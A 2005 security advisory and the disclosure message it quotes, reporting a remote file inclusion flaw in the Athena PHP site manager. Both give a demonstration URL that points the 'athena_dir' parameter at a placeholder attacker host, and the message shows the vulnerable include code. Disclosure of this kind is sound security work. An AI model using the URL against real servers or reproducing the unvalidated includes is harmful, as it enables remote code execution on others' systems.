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Category:  Application (Forum/Board/Portal)  >  Athena Vendors:  athena.sourceforge.net
Athena Include File Bug Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015278
SecurityTracker URL:  http://securitytracker.com/id?1015278
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 28 2005
Impact:  Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.1a
Description:  beford and ][GB][ reported a vulnerability in Athena. A remote user can execute arbitrary code on the target system.

The 'athena.php' does not properly validate user-supplied input in several parameters. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/path_to_athena/athena.php?athena_d ir=http://[attacker_url]

Impact:  A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:  No solution was available at the time of this entry.
Vendor URL:  sourceforge.net/projects/athena (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  gb.network@gmail.com
Message History:   None.


 Source Message Contents

Date:  26 Nov 2005 22:23:18 -0000
From:  gb.network@gmail.com
Subject:  Remote file include in Athena

 
Language: PHP
Script: Athena
Version: 0.1a
Official website: http://sourceforge.net/projects/athena
Problem: Remote file inclusion
Discovered by: beford & ][GB][
 
Description:
===========
 
A simple website management system written in oo php that uses a mysql database 
to store user and group rights and the site content.
 
Problem:
========
A remote user can include and execute arbitrary PHP code from the remote location.
The problem is in the file "athena.php" for line 1 to 10:

include("$athena_dir/headers.php"); 
include("$athena_dir/classes/debug.php");
include("$athena_dir/classes/mysql.php");
include("$athena_dir/classes/config.php");
include("$athena_dir/classes/page.php");
include("$athena_dir/classes/session.php");
include("$athena_dir/classes/user.php");
include("$athena_dir/classes/error.php");
include("$athena_dir/classes/modules.php");
include("$athena_dir/classes/admin.php");

 
Explotation example:
===================

http://[target]/path_to_athena/athena.php?athena_dir=http://[attacker_url]

 
Solution:
========
 
Not solution at this time.
 
 
Greetz:
=======
 
uyx, beford, Zetha, lithyum,_|MALANDDO|_ ,desKrriado, |LINUX|, Amon-Ra, Extremo, SecretDreams, caffa
 
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